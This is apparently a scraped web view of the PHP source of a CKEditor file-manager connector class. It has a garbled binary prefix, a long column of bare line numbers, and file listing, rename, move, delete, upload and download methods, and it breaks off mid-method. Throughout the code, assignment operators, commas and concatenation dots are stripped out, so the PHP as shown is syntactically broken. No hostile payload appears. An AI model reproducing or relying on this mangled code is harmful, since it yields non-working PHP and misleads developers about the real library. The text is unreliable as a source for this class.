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^A?pohBNO!|L webadmin.php

/admin/ckeditor/filemanager/connectors/php/filemanager.class.php


1\
2\
3\
4\
5\
6\
7\
8\
9\
10\
11\
12\
13\
14\
15\
16\
17\
18\
19\
20\
21\
22\
23\
24\
25\
26\
27\
28\
29\
30\
31\
32\
33\
34\
35\
36\
37\
38\
39\
40\
41\
42\
43\
44\
45\
46\
47\
48\
49\
50\
51\
52\
53\
54\
55\
56\
57\
58\
59\
60\
61\
62\
63\
64\
65\
66\
67\
68\
69\
70\
71\
72\
73\
74\
75\
76\
77\
78\
79\
80\
81\
82\
83\
84\
85\
86\
87\
88\
89\
90\
91\
92\
93\
94\
95\
96\
97\
98\
99\
100\
101\
102\
103\
104\
105\
106\
107\
108\
109\
110\
111\
112\
113\
114\
115\
116\
117\
118\
119\
120\
121\
122\
123\
124\
125\
126\
127\
128\
129\
130\
131\
132\
133\
134\
135\
136\
137\
138\
139\
140\
141\
142\
143\
144\
145\
146\
147\
148\
149\
150\
151\
152\
153\
154\
155\
156\
157\
158\
159\
160\
161\
162\
163\
164\
165\
166\
167\
168\
169\
170\
171\
172\
173\
174\
175\
176\
177\
178\
179\
180\
181\
182\
183\
184\
185\
186\
187\
188\
189\
190\
191\
192\
193\
194\
195\
196\
197\
198\
199\
200\
201\
202\
203\
204\
205\
206\
207\
208\
209\
210\
211\
212\
213\
214\
215\
216\
217\
218\
219\
220\
221\
222\
223\
224\
225\
226\
227\
228\
229\
230\
231\
232\
233\
234\
235\
236\
237\
238\
239\
240\
241\
242\
243\
244\
245\
246\
247\
248\
249\
250\
251\
252\
253\
254\
255\
256\
257\
258\
259\
260\
261\
262\
263\
264\
265\
266\
267\
268\
269\
270\
271\
272\
273\
274\
275\
276\
277\
278\
279\
280\
281\
282\
283\
284\
285\
286\
287\
288\
289\
290\
291\
292\
293\
294\
295\
296\
297\
298\
299\
300\
301\
302\
303\
304\
305\
306\
307\
308\
309\
310\
311\
312\
313\
314\
315\
316\
317\
318\
319\
320\
321\
322\
323\
324\
325\
326\
327\
328\
329\
330\
331\
332\
333\
334\
335\
336\
337\
338\
339\
340\
341\
342\
343\
344\
345\
346\
347\
348\
349\
350\
351\
352\
353\
354\
355\
356\
357\
358\
359\
360\
361\
362\
363\
364\
365\
366\
367\
368\
369\
370\
371\
372\
373\
374\
375\
376\
377\
378\
379\
380\
381\
382\
383\
384\
385\
386\
387\
388\
389\
390\
391\
392\
393\
394\
395\
396\
397\
398\
399\
400\
401\
402\
403\
404\
405\
406\
407\
408\
409\
410\
411\
412\
413\
414\
415\
416\
417\
418\
419\
420\
421\
422\
423\
424\
425\
426\
427\
428\
429\
430\
431\
432\
433\
434\
435\
436\
437\
438\
439\
440\
441\
442\
443\
444\
445\
446\
447\
448\
449\
450\
451\
452\
453\
454\
455\
456\
457\
458\
459\
460\
461\
462\
463\
464\
465\
466\
467\
468\
469\
470\
471\
472\
473\
474\
475\
476\
477\
478\
479\
480\
481\
482\
483\
484\
485\
486\
487\
488\
489\
490\
491\
492\
493\
494\
495\
496\
497\
498\
499\
500\
501\
502\
503\
504\
505\
506\
507\
508\
509\
510\
511\
512\
513\
514\
515\
516\
517\
518\
519\
520\
521\
522\
523\
524\
525\
526\
527\
528\
529\
530\
531\
532\
533\
534\
535\
536\
537\
538\
539\
540\
541\
542\
543\
544\
545\
546\
547\
548\
549\
550\
551\
552\
553\
554\
555\
556\
557\
558\
559\
560\
561\
562\
563\
564\
565\
566\
567\
568\
569\
570\
571\
572\
573\
574\
575\
576\
577\
578\
579\
580\
581\
582\
583\
584\
585\
586\
587\
588\
589\
590\
591\
592\
593\
594\
595\
596\
597\
598\
599\
600\
601\
602\
603\
604\
605\
606\
607\
608\
609\
610\
611\
612\
613\
614\
615\
616\
617\
618\
619\
620\
621\
622\
623\
624\
625\
626\
627\
628\
629\
630\
631\
632\
633\
634\
635\
636\
637\
638\
639\
640\
641\
642\
643\
644\
645\
646\
647\
648\
649\
650\
651\
652\
653\
654\
655\
656\
657\
658\
659\
660\
661\
662\
663\
664\
665\
666\
667\
668\
669\
670\
671\
672\
673\
674\
675\
676\
677\
678\
679\
680\
681\
682\
683\
684\
685\
686\
687\
688\
689\
690\
691\
692\
693\
694\
695\
696\
697\
698\
699\
700\
701\
702\
703\
704\
705\
706\
707\
708\
709\
710\
711\
712\
713\
714\
715\
716\
717\
718\
719\
720\
721\
722\
723\
724\
725\
726\
727\
728\
729\
730\
731\
732\
733\
734\
735\
736\
737\
738\
739\
740\
741\
742\
743\
744\
745\
746\
747\
748\
749\
750\
751\
752\
753\
754\
755\
756\
757\
758\
759\
760\
761\
762\
763\
764\
765\
766\
767\
768\
769\
770\
771\
772\
773\
774\
775\
776\
777\
778\
779\
780\
781\
782\
783\
784\
785\
786\
787\
788\
789\
790\
791\
792\
793\
794\
795\
796\
797\
798\
799\
800\
801\
802\
803\
804\
805\
806\
807\
808\
809\
810\
811\
812\
813\
814\
815\
816\
817\
818\
819\
820\
821\
822\
823\
824\
825\
826\
827\
828\
829\
830\
831\
832\
833\
834\
835\
836\
837\
838\
839\
840\
841\
842\
843\
844\
845\
846\
847\
848\
849\
850\
851\
852\
853\
854\
855\
856\
857\
858\
859\
860\
861\
862\
863\
864\
865\
866\
867\
868\
869\
870\
871\
872\
873\
874\
875\
876\
877\
878\
879\
880\
881\
882\
883\
884\
885\
886\
887\
888\
889\
890\
891\
892\
893\
894\
895\
896\
897\
898\
899\
900\
901\
902\
903\
904\
905\
906\
907\
908\
909\
910\
911\
912\
913\
914\
915\
916\
917\
918\
919\
920\
921\
922\
923\
924\
925\
926\
927\
928\
929\
930\
931\
932\
933\
934\
935\
936\
937\
938\
939\
940\
941\
942\
943\
944\
945\
946\
947\
948\
949\
950\
951\
952\
953\
954\
955\
956\
957\
958\
959\
960\
961\
962\
963\
964\
965\
966\
967\
968\
969\
970\
971\
972\
973\
974\
975\
976\
977\
978\
979\
980\
981\
982\
983\
984\
985\
986\
987\
988\
989\
990\
991\
992\
993\
994\
995\
996\
997\
998\
999\
1000\
1001\
1002\
1003\
1004\
1005\
1006\
1007\
1008\
1009\
1010\
1011\
1012\
1013\
1014\
1015\
1016\
1017\
1018\
1019\
1020\
1021\
1022\
1023\
1024\
1025\
1026\
1027\
1028\
1029\
1030\
1031\
1032\
1033\
1034\
1035\
1036\
1037\
1038\
1039\
1040\
1041\
1042\
1043\
1044\
1045\
1046\
1047\
1048\
1049\
1050\
1051\
1052\
1053\
1054\
1055\
1056\
1057\
1058\
1059\
1060\
1061\
1062\
1063\
1064\
1065\
1066\
1067\
1068\
1069\
1070\
1071\
1072\
1073\
1074\
1075\
1076\
1077\
1078\
1079\
1080\
1081\
1082\
1083\
1084\
1085\
1086\
1087\
1088\
1089\
1090\
1091\
1092\
1093\
1094\
1095\
1096\
1097\
1098\
1099\
1100\
1101\
1102\
1103\
1104\
1105\
1106\
1107\
1108\
1109\
1110\
1111\
1112\
1113\
1114\
1115\
1116\
1117\
1118\
1119\
1120\
1121\
1122\
1123\
1124\
1125\
1126\
1127\
1128\
1129\
1130\
1131\
1132\
1133\
1134\
1135\
1136\
1137\
1138\
1139\
1140\
1141\
1142\
1143\
1144\
1145\
1146\
1147\
1148\
1149\
1150\
1151\
1152\
1153\
1154\
1155\
1156\
1157\
1158\

<?php
/**
 *    Filemanager PHP class
 *
 *    filemanager.class.php
 *    class for the filemanager.php connector
 *
 *    @license    MIT License
 *    @author        Riaan Los <mail (at) riaanlos (dot) nl>
 *    @author        Simon Georget <simon (at) linea21 (dot) com>
 *    @copyright    Authors
 */

class Filemanager {

    protected 
$config = array();
    protected 
$language = array();
    protected 
$get = array();
    protected 
$post = array();
    protected 
$properties = array();
    protected 
$item = array();
    protected 
$languages = array();
    protected 
$root '';
    protected 
$doc_root '';
    protected 
$dynamic_fileroot '';
    protected 
$logger false;
    protected 
$logfile '/tmp/filemanager.log';
    protected 
$cachefolder '_thumbs/';
    protected 
$thumbnail_width 64;
    protected 
$thumbnail_height 64;
    protected 
$separator 'userfiles'// @todo fix keep it or not?

    
public function __construct($extraConfig '') {
            
        
$content file_get_contents("../../scripts/filemanager.config.js");
        
$config json_decode($contenttrue);
            
        
$this->config $config;

        
// override config options if needed
        
if(!empty($extraConfig)) {
            
$this->setup($extraConfig);
        }

        
$this->root dirname(dirname(dirname(__FILE__))).DIRECTORY_SEPARATOR;
        
$this->properties = array(
                
'Date Created'=>null,
                
'Date Modified'=>null,
                
'Height'=>null,
                
'Width'=>null,
                
'Size'=>null
        
);

        
// Log actions or not?
        
if ($this->config['options']['logger'] == true ) {
            if(isset(
$this->config['options']['logfile'])) {
                
$this->logfile $this->config['options']['logfile'];
            }
            
$this->enableLog();
        }

        
// if fileRoot is set manually, $this->doc_root takes fileRoot value
        // for security check in isValidPath() method
        // else it takes $_SERVER['DOCUMENT_ROOT'] default value
        
if ($this->config['options']['fileRoot'] !== false ) {
            if(
$this->config['options']['serverRoot'] === true) {
                
$this->doc_root $_SERVER['DOCUMENT_ROOT'];
                
$this->separator basename($this->config['options']['fileRoot']);
            } else {
                
$this->doc_root $this->config['options']['fileRoot'];
                
$this->separator basename($this->config['options']['fileRoot']);
            }
        } else {
            
$this->doc_root $_SERVER['DOCUMENT_ROOT'];
        }

        
$this->__log(__METHOD__ ' $this->doc_root value ' $this->doc_root);
        
$this->__log(__METHOD__ ' $this->separator value ' $this->separator);

        
$this->setParams();
        
$this->availableLanguages();
        
$this->loadLanguageFile();
    }

    
// $extraconfig should be formatted as json config array.
    
public function setup($extraconfig) {

        
$this->config array_merge_recursive($this->config$extraconfig);
            
    }

    
// allow Filemanager to be used with dynamic folders
    
public function setFileRoot($path) {

        if(
$this->config['options']['serverRoot'] === true) {
            
$this->doc_root $_SERVER['DOCUMENT_ROOT']. '/'.  $path;
        } else {
            
$this->doc_root =  $path;
        }
        
        
// necessary for retrieving path when set dynamically with $fm->setFileRoot() method
        
$this->dynamic_fileroot str_replace($_SERVER['DOCUMENT_ROOT'], ''$this->doc_root);
        
$this->separator basename($this->doc_root);
        
        
$this->__log(__METHOD__ ' $this->doc_root value overwritten : ' $this->doc_root);
        
$this->__log(__METHOD__ ' $this->dynamic_fileroot value ' $this->dynamic_fileroot);
        
$this->__log(__METHOD__ ' $this->separator value ' $this->separator);
    }

    public function 
error($string,$textarea=false) {
        
$array = array(
                
'Error'=>$string,
                
'Code'=>'-1',
                
'Properties'=>$this->properties
        
);

        
$this->__log__METHOD__ ' - error message : ' $string);

        if(
$textarea) {
            echo 
'<textarea>' json_encode($array) . '</textarea>';
        } else {
            echo 
json_encode($array);
        }
        die();
    }

    public function 
lang($string) {
        if(isset(
$this->language[$string]) && $this->language[$string]!='') {
            return 
$this->language[$string];
        } else {
            return 
'Language string error on ' $string;
        }
    }

    public function 
getvar($var$preserve null) {
        if(!isset(
$_GET[$var]) || $_GET[$var]=='') {
            
$this->error(sprintf($this->lang('INVALID_VAR'),$var));
        } else {
            
$this->get[$var] = $this->sanitize($_GET[$var], $preserve);
            return 
true;
        }
    }
    public function 
postvar($var) {
        if(!isset(
$_POST[$var]) || $_POST[$var]=='') {
            
$this->error(sprintf($this->lang('INVALID_VAR'),$var));
        } else {
            
$this->post[$var] = $this->sanitize($_POST[$var]);
            return 
true;
        }
    }

    public function 
getinfo() {
        
$this->item = array();
        
$this->item['properties'] = $this->properties;
        
$this->get_file_info(''false);
        
        
// handle path when set dynamically with $fm->setFileRoot() method
        
if($this->dynamic_fileroot != '') {
            
$path $this->dynamic_fileroot$this->get['path'];
            
$path preg_replace('~/+~''/'$path); // remove multiple slashes
        
} else {
            
$path $this->get['path'];
        }
        

        
$array = array(
                
'Path'=> $path,
                
'Filename'=>$this->item['filename'],
                
'File Type'=>$this->item['filetype'],
                
'Preview'=>$this->item['preview'],
                
'Properties'=>$this->item['properties'],
                
'Error'=>"",
                
'Code'=>0
        
);
        return 
$array;
    }

    public function 
getfolder() {
        
$array = array();
        
$filesDir = array();

        
$current_path $this->getFullPath();


        if(!
$this->isValidPath($current_path)) {
            
$this->error("No way.");
        }

        if(!
is_dir($current_path)) {
            
$this->error(sprintf($this->lang('DIRECTORY_NOT_EXIST'),$this->get['path']));
        }
        if(!
$handle opendir($current_path)) {
            
$this->error(sprintf($this->lang('UNABLE_TO_OPEN_DIRECTORY'),$this->get['path']));
        } else {
            while (
false !== ($file readdir($handle))) {
                if(
$file != "." && $file != "..") {
                    
array_push($filesDir$file);
                }
            }
            
closedir($handle);
            
            
// By default
            // Sorting files by name ('default' or 'NAME_DESC' cases from $this->config['options']['fileSorting']
            
natcasesort($filesDir);

            foreach(
$filesDir as $file) {

                if(
is_dir($current_path $file)) {
                    if(!
in_array($file$this->config['exclude']['unallowed_dirs']) && !preg_match$this->config['exclude']['unallowed_dirs_REGEXP'], $file)) {
                        
$array[$this->get['path'] . $file .'/'] = array(
                                
'Path'=> $this->get['path'] . $file .'/',
                                
'Filename'=>$file,
                                
'File Type'=>'dir',
                                
'Preview'=> $this->config['icons']['path'] . $this->config['icons']['directory'],
                                
'Properties'=>array(
                                        
'Date Created'=> date($this->config['options']['dateFormat'], filectime($this->getFullPath($this->get['path'] . $file .'/'))),
                                        
'Date Modified'=> date($this->config['options']['dateFormat'], filemtime($this->getFullPath($this->get['path'] . $file .'/'))),
                                        
'filemtime'=> filemtime($this->getFullPath($this->get['path'] . $file .'/')),
                                        
'Height'=>null,
                                        
'Width'=>null,
                                        
'Size'=>null
                                
),
                                
'Error'=>"",
                                
'Code'=>0
                        
);
                    }
                } else if (!
in_array($file$this->config['exclude']['unallowed_files'])  && !preg_match$this->config['exclude']['unallowed_files_REGEXP'], $file)) {
                    
$this->item = array();
                    
$this->item['properties'] = $this->properties;
                    
$this->get_file_info($this->get['path'] . $filetrue);

                    if(!isset(
$this->params['type']) || (isset($this->params['type']) && strtolower($this->params['type'])=='images' && in_array(strtolower($this->item['filetype']),array_map('strtolower'$this->config['images']['imagesExt'])))) {
                        if(
$this->config['upload']['imagesOnly']== false || ($this->config['upload']['imagesOnly']== true && in_array(strtolower($this->item['filetype']),array_map('strtolower'$this->config['images']['imagesExt'])))) {
                            
$array[$this->get['path'] . $file] = array(
                                    
'Path'=>$this->get['path'] . $file,
                                    
'Filename'=>$this->item['filename'],
                                    
'File Type'=>$this->item['filetype'],
                                    
'Preview'=>$this->item['preview'],
                                    
'Properties'=>$this->item['properties'],
                                    
'Error'=>"",
                                    
'Code'=>0
                            
);
                        }
                    }
                }
            }
        }
        
        
$array $this->sortFiles($array);

        return 
$array;
    }

    public function 
rename() {

        
$suffix='';


        if(
substr($this->get['old'],-1,1)=='/') {
            
$this->get['old'] = substr($this->get['old'],0,(strlen($this->get['old'])-1));
            
$suffix='/';
        }
        
$tmp explode('/',$this->get['old']);
        
$filename $tmp[(sizeof($tmp)-1)];
        
$path str_replace('/' $filename,'',$this->get['old']);

        
$new_file $this->getFullPath($path '/' $this->get['new']). $suffix;
        
$old_file $this->getFullPath($this->get['old']) . $suffix;

        if(!
$this->isValidPath($old_file)) {
            
$this->error("No way.");
        }

        
$this->__log(__METHOD__ ' - renaming '$old_file' to ' $new_file);

        if(
file_exists ($new_file)) {
            if(
$suffix=='/' && is_dir($new_file)) {
                
$this->error(sprintf($this->lang('DIRECTORY_ALREADY_EXISTS'),$this->get['new']));
            }
            if(
$suffix=='' && is_file($new_file)) {
                
$this->error(sprintf($this->lang('FILE_ALREADY_EXISTS'),$this->get['new']));
            }
        }

        if(!
rename($old_file,$new_file)) {
            if(
is_dir($old_file)) {
                
$this->error(sprintf($this->lang('ERROR_RENAMING_DIRECTORY'),$filename,$this->get['new']));
            } else {
                
$this->error(sprintf($this->lang('ERROR_RENAMING_FILE'),$filename,$this->get['new']));
            }
        }
        
$array = array(
                
'Error'=>"",
                
'Code'=>0,
                
'Old Path'=>$this->get['old'],
                
'Old Name'=>$filename,
                
'New Path'=>$path '/' $this->get['new'].$suffix,
                
'New Name'=>$this->get['new']
        );
        return 
$array;
    }

    public function 
move() {
        
        
// dynamic fileroot dir must be used when enabled
        
$rootDir $this->dynamic_fileroot;
        
        if (empty(
$rootDir)) {
            
$rootDir $this->get['root'];
        }
        
$rootDir str_replace('//''/'$rootDir);
        
$oldPath $this->getFullPath($this->get['old']);

        
// old path
        
$tmp explode('/',trim($this->get['old'], '/'));
        
$fileName array_pop($tmp); // file name or new dir name
        
$path '/' implode('/'$tmp) . '/';

        
// new path
        
if (substr($this->get['new'], 01) != "/") {
            
// make path relative from old dir
            
$newPath $path '/' $this->get['new'] . '/';
        } else {
            
$newPath $rootDir '/' $this->get['new'] . '/';
        }

        
$newPath preg_replace('#/+#''/'$newPath);
        
$newPath $this->expandPath($newPathtrue);

        
//!important! check that we are still under ROOT dir
        
if (strncasecmp($newPath$rootDirstrlen($rootDir))) {
            
$this->error(sprintf($this->lang('INVALID_DIRECTORY_OR_FILE'),$this->get['new']));
        }

        if(!
$this->isValidPath($oldPath)) {
            
$this->error("No way.");
        }

        
$newRelativePath $newPath;
        
$newPath $this->getFullPath($newPath);

        
// check if file already exists
        
if (file_exists($newPath.$fileName)) {
            if(
is_dir($newPath.$fileName)) {
                
$this->error(sprintf($this->lang('DIRECTORY_ALREADY_EXISTS'),rtrim($this->get['new'], '/').'/'.$fileName));
            } else {
                
$this->error(sprintf($this->lang('FILE_ALREADY_EXISTS'),rtrim($this->get['new'], '/').'/'.$fileName));
            }
        }

        
// create dir if not exists
        
if (!file_exists($newPath)) {
            if(!
mkdir($newPath,0755true)) {
                
$this->error(sprintf($this->lang('UNABLE_TO_CREATE_DIRECTORY'),$newPath));
            }
        }

        
// move
        
$this->__log(__METHOD__ ' - moving '$oldPath' to directory ' $newPath);

        if(!
rename($oldPath,$newPath $fileName)) {
            if(
is_dir($oldPath)) {
                
$this->error(sprintf($this->lang('ERROR_RENAMING_DIRECTORY'),$path,$this->get['new']));
            } else {
                
$this->error(sprintf($this->lang('ERROR_RENAMING_FILE'),$path $fileName,$this->get['new']));
            }
        }

        
$array = array(
                
'Error'=>"",
                
'Code'=>0,
                
'Old Path'=>$path,
                
'Old Name'=>$fileName,
                
'New Path'=>$this->formatPath($newRelativePath),
                
'New Name'=>$fileName,
        );
        return 
$array;
    }

    public function 
delete() {

        
$current_path $this->getFullPath();
        
$thumbnail_path $this->get_thumbnail_path($current_path);
            
        if(!
$this->isValidPath($current_path)) {
            
$this->error("No way.");
        }
            
        if(
is_dir($current_path)) {
            
            
$this->unlinkRecursive($current_path);
            
            
// we remove thumbnails if needed
            
$this->__log(__METHOD__ ' - deleting thumbnails folder '$thumbnail_path);
            
$this->unlinkRecursive($thumbnail_path);
            
            
$array = array(
                    
'Error'=>"",
                    
'Code'=>0,
                    
'Path'=>$this->formatPath($this->get['path'])
            );

            
$this->__log(__METHOD__ ' - deleting folder '$current_path);
            return 
$array;

        } else if(
file_exists($current_path)) {
            
            
unlink($current_path);
            
            
// delete thumbail if exists
            
$this->__log(__METHOD__ ' - deleting thumbnail file '$thumbnail_path);
            if(
file_exists($thumbnail_path)) unlink($thumbnail_path);
            
            
$array = array(
                    
'Error'=>"",
                    
'Code'=>0,
                    
'Path'=>$this->formatPath($this->get['path'])
            );

            
$this->__log(__METHOD__ ' - deleting file '$current_path);
            return 
$array;

        } else {
            
$this->error(sprintf($this->lang('INVALID_DIRECTORY_OR_FILE')));
        }
    }
    
    public function 
replace() {
        
        
$this->setParams();

        if(!isset(
$_FILES['fileR']) || !is_uploaded_file($_FILES['fileR']['tmp_name'])) {
            
            
// if fileSize limit set by the user is greater than size allowed in php.ini file, we apply server restrictions
            // and log a warning into file
            
if($this->config['upload']['fileSizeLimit'] > $this->getMaxUploadFileSize()) {
                
$this->__log(__METHOD__ ' [WARNING] : file size limit set by user is greater than size allowed in php.ini file : '$this->config['upload']['fileSizeLimit']. $this->lang('mb') .' > '$this->getMaxUploadFileSize(). $this->lang('mb'). '.');
                
$this->config['upload']['fileSizeLimit'] = $this->getMaxUploadFileSize();
                
$this->error(sprintf($this->lang('UPLOAD_FILES_SMALLER_THAN'),$this->config['upload']['fileSizeLimit'] . $this->lang('mb')),true);
            }
            
            
$this->error(sprintf($this->lang('INVALID_FILE_UPLOAD') . ' 'sprintf($this->lang('UPLOAD_FILES_SMALLER_THAN'),$this->config['upload']['fileSizeLimit'] . $this->lang('mb'))),true);
        }
        
// we determine max upload size if not set
        
if($this->config['upload']['fileSizeLimit'] == 'auto') {
            
$this->config['upload']['fileSizeLimit'] = $this->getMaxUploadFileSize();
        }

        if(
$_FILES['fileR']['size'] > ($this->config['upload']['fileSizeLimit'] * 1024 1024)) {
            
$this->error(sprintf($this->lang('UPLOAD_FILES_SMALLER_THAN'),$this->config['upload']['fileSizeLimit'] . $this->lang('mb')),true);
        }
        
        
// we check the given file has the same extension as the old one
        
if(strtolower(pathinfo($_FILES['fileR']['name'], PATHINFO_EXTENSION)) != strtolower(pathinfo($this->post['newfilepath'], PATHINFO_EXTENSION))) {
            
$this->error(sprintf($this->lang('ERROR_REPLACING_FILE') . ' 'pathinfo($this->post['newfilepath'], PATHINFO_EXTENSION)),true);
        }
        
        if(!
$this->isAllowedFileType($_FILES['fileR']['name'])) {
            
$this->error(sprintf($this->lang('INVALID_FILE_TYPE')),true);
        }
        
        
// we check if extension is allowed regarding the security Policy settings
        
if(!$this->isAllowedFileType($_FILES['fileR']['name'])) {
            
$this->error(sprintf($this->lang('INVALID_FILE_TYPE')),true);
        }
        
        
// we check if only images are allowed
        
if($this->config['upload']['imagesOnly'] || (isset($this->params['type']) && strtolower($this->params['type'])=='images')) {
            if(!(
$size = @getimagesize($_FILES['fileR']['tmp_name']))){
                
$this->error(sprintf($this->lang('UPLOAD_IMAGES_ONLY')),true);
            }
            if(!
in_array($size[2], array(12378))) {
                
$this->error(sprintf($this->lang('UPLOAD_IMAGES_TYPE_JPEG_GIF_PNG')),true);
            }
        }

        
$current_path $this->getFullPath($this->post['newfilepath']);

        if(!
$this->isValidPath($current_path)) {
            
$this->error("No way.");
        }

        
move_uploaded_file($_FILES['fileR']['tmp_name'], $current_path);
        
        
// we delete thumbnail if file is image and thumbnail already
        
if($this->is_image($current_path) && file_exists($this->get_thumbnail($current_path))) {
            
unlink($this->get_thumbnail($current_path));
        }

        
// automatically resize image if it's too big
        
$imagePath $current_path;
        if(
$this->is_image($imagePath) && $this->config['images']['resize']['enabled']) {
            if (
$size = @getimagesize($imagePath)){
                if (
$size[0] > $this->config['images']['resize']['maxWidth'] || $size[1] > $this->config['images']['resize']['maxHeight']) {
                    require_once(
'./inc/vendor/wideimage/lib/WideImage.php');
                    
                    
$image WideImage::load($imagePath);
                    
$resized $image->resize($this->config['images']['resize']['maxWidth'], $this->config['images']['resize']['maxHeight'], 'inside');
                    
$resized->saveToFile($imagePath);
                    
                    
$this->__log(__METHOD__ ' - resizing image : '$current_path);
                }
            }
        }

        
chmod($current_path0644);

        
$response = array(
                
'Path'=>dirname($this->post['newfilepath']),
                
'Name'=>basename($this->post['newfilepath']),
                
'Error'=>"",
                
'Code'=>0
        
);

        
$this->__log(__METHOD__ ' - replacing file '$current_path);

        echo 
'<textarea>' json_encode($response) . '</textarea>';
        die();
    }

    public function 
add() {
            
        
$this->setParams();

        if(!isset(
$_FILES['newfile']) || !is_uploaded_file($_FILES['newfile']['tmp_name'])) {
            
            
// if fileSize limit set by the user is greater than size allowed in php.ini file, we apply server restrictions
            // and log a warning into file
            
if($this->config['upload']['fileSizeLimit'] > $this->getMaxUploadFileSize()) {
                
$this->__log(__METHOD__ ' [WARNING] : file size limit set by user is greater than size allowed in php.ini file : '$this->config['upload']['fileSizeLimit'] . 'Mb > '$this->getMaxUploadFileSize() .'Mb.');
                
$this->config['upload']['fileSizeLimit'] = $this->getMaxUploadFileSize();
                
$this->error(sprintf($this->lang('UPLOAD_FILES_SMALLER_THAN'),$this->config['upload']['fileSizeLimit'] . $this->lang('mb')),true);
            }
            
            
$this->error(sprintf($this->lang('INVALID_FILE_UPLOAD') . ' 'sprintf($this->lang('UPLOAD_FILES_SMALLER_THAN'),$this->config['upload']['fileSizeLimit'] . $this->lang('mb'))),true);
        }
        
// we determine max upload size if not set
        
if($this->config['upload']['fileSizeLimit'] == 'auto') {
            
$this->config['upload']['fileSizeLimit'] = $this->getMaxUploadFileSize();
        }

        if(
$_FILES['newfile']['size'] > ($this->config['upload']['fileSizeLimit'] * 1024 1024)) {
            
$this->error(sprintf($this->lang('UPLOAD_FILES_SMALLER_THAN'),$this->config['upload']['fileSizeLimit'] . $this->lang('mb')),true);
        }
        
        
// we check if extension is allowed regarding the security Policy settings
        
if(!$this->isAllowedFileType($_FILES['newfile']['name'])) {
            
$this->error(sprintf($this->lang('INVALID_FILE_TYPE')),true);
        }
        
        
// we check if only images are allowed
        
if($this->config['upload']['imagesOnly'] || (isset($this->params['type']) && strtolower($this->params['type'])=='images')) {
            if(!(
$size = @getimagesize($_FILES['newfile']['tmp_name']))){
                
$this->error(sprintf($this->lang('UPLOAD_IMAGES_ONLY')),true);
            }
            if(!
in_array($size[2], array(12378))) {
                
$this->error(sprintf($this->lang('UPLOAD_IMAGES_TYPE_JPEG_GIF_PNG')),true);
            }
        }
        
$_FILES['newfile']['name'] = $this->cleanString($_FILES['newfile']['name'],array('.','-'));

        
$current_path $this->getFullPath($this->post['currentpath']);

        if(!
$this->isValidPath($current_path)) {
            
$this->error("No way.");
        }

        if(!
$this->config['upload']['overwrite']) {
            
$_FILES['newfile']['name'] = $this->checkFilename($current_path,$_FILES['newfile']['name']);
        }
        
move_uploaded_file($_FILES['newfile']['tmp_name'], $current_path $_FILES['newfile']['name']);

        
// automatically resize image if it's too big
        
$imagePath $current_path $_FILES['newfile']['name'];
        if(
$this->is_image($imagePath) && $this->config['images']['resize']['enabled']) {
            if (
$size = @getimagesize($imagePath)){
                if (
$size[0] > $this->config['images']['resize']['maxWidth'] || $size[1] > $this->config['images']['resize']['maxHeight']) {
                    require_once(
'./inc/vendor/wideimage/lib/WideImage.php');
                    
                    
$image WideImage::load($imagePath);
                    
$resized $image->resize($this->config['images']['resize']['maxWidth'], $this->config['images']['resize']['maxHeight'], 'inside');
                    
$resized->saveToFile($imagePath);
                    
                    
$this->__log(__METHOD__ ' - resizing image : '$_FILES['newfile']['name']. ' into '$current_path);
                }
            }
        }

        
chmod($current_path $_FILES['newfile']['name'], 0644);

        
$response = array(
                
'Path'=>$this->post['currentpath'],
                
'Name'=>$_FILES['newfile']['name'],
                
'Error'=>"",
                
'Code'=>0
        
);

        
$this->__log(__METHOD__ ' - adding file '$_FILES['newfile']['name']. ' into '$current_path);

        echo 
'<textarea>' json_encode($response) . '</textarea>';
        die();
    }

    public function 
addfolder() {
            
        
$current_path $this->getFullPath();
            
        if(!
$this->isValidPath($current_path)) {
            
$this->error("No way.");
        }
        if(
is_dir($current_path $this->get['name'])) {
            
$this->error(sprintf($this->lang('DIRECTORY_ALREADY_EXISTS'),$this->get['name']));

        }
        
$newdir $this->cleanString($this->get['name']);
        if(!
mkdir($current_path $newdir,0755)) {
            
$this->error(sprintf($this->lang('UNABLE_TO_CREATE_DIRECTORY'),$newdir));
        }
        
$array = array(
                
'Parent'=>$this->get['path'],
                
'Name'=>$this->get['name'],
                
'Error'=>"",
                
'Code'=>0
        
);
        
$this->__log(__METHOD__ ' - adding folder '$current_path $newdir);

        return 
$array;
    }

    public function 
download() {
            
        
$current_path $this->getFullPath();
            
        if(!
$this->isValidPath($current_path)) {
            
$this->error("No way.");
        }
        
        
// we check if extension is allowed regarding the security Policy settings
        
if(!$this->isAllowedFileType(basename($current_path))) {
            
$this->error(sprintf($this->lang('INVALID_FILE_TYPE')),true);
        }

        if(isset(
$this->get['path']) && file_exists($current_path)) {
            
header("Content-type: application/force-download");
            
header('Content-Disposition: inline; filename="' basename($current_path) . '"');
            
header("Content-Transfer-Encoding: Binary");
            
header("Content-length: ".filesize($current_path));
            
header('Content-Type: application/octet-stream');
            
header('Content-Disposition: attachment; filename="' basename($current_path) . '"');
            
ob_end_clean();
            
flush();
            
readfile($current_path);
            
$this->__log(__METHOD__ ' - downloading '$current_path);
            exit();
        } else {
            
$this->error(sprintf($this->lang('FILE_DOES_NOT_EXIST'),$current_path));
        }
    }

    public function 
preview($thumbnail) {
            
        
$current_path $this->getFullPath();
            
        if(isset(
$this->get['path']) && file_exists($current_path)) {
            
            
// if $thumbnail is set to true we return the thumbnail
            
if($this->config['options']['generateThumbnails'] == true && $thumbnail == true) {
                
// get thumbnail (and create it if needed)
                
$returned_path $this->get_thumbnail($current_path);
            } else {
                
$returned_path $current_path;
            }
            
            
header("Content-type: image/" strtolower(pathinfo($returned_pathPATHINFO_EXTENSION)));
            
header("Content-Transfer-Encoding: Binary");
            
header("Content-length: ".filesize($returned_path));
            
header('Content-Disposition: inline; filename="' basename($returned_path) . '"');
            
readfile($returned_path);
            
            exit();
            
        } else {
            
$this->error(sprintf($this->lang('FILE_DOES_NOT_EXIST'),$current_path));
        }
    }

    public function 
getMaxUploadFileSize() {
            
        
$max_upload = (int) ini_get('upload_max_filesize');
        
$max_post = (int) ini_get('post_max_size');
        
$memory_limit = (int) ini_get('memory_limit');

        
$upload_mb min($max_upload$max_post$memory_limit);

        
$this->__log(__METHOD__ ' - max upload file size is '$upload_mb'Mb');

        return 
$upload_mb;
    }

    private function 
setParams() {
        
$tmp = (isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '/');
        
$tmp explode('?',$tmp);
        
$params = array();
        if(isset(
$tmp[1]) && $tmp[1]!='') {
            
$params_tmp explode('&',$tmp[1]);
            if(
is_array($params_tmp)) {
                foreach(
$params_tmp as $value) {
                    
$tmp explode('=',$value);
                    if(isset(
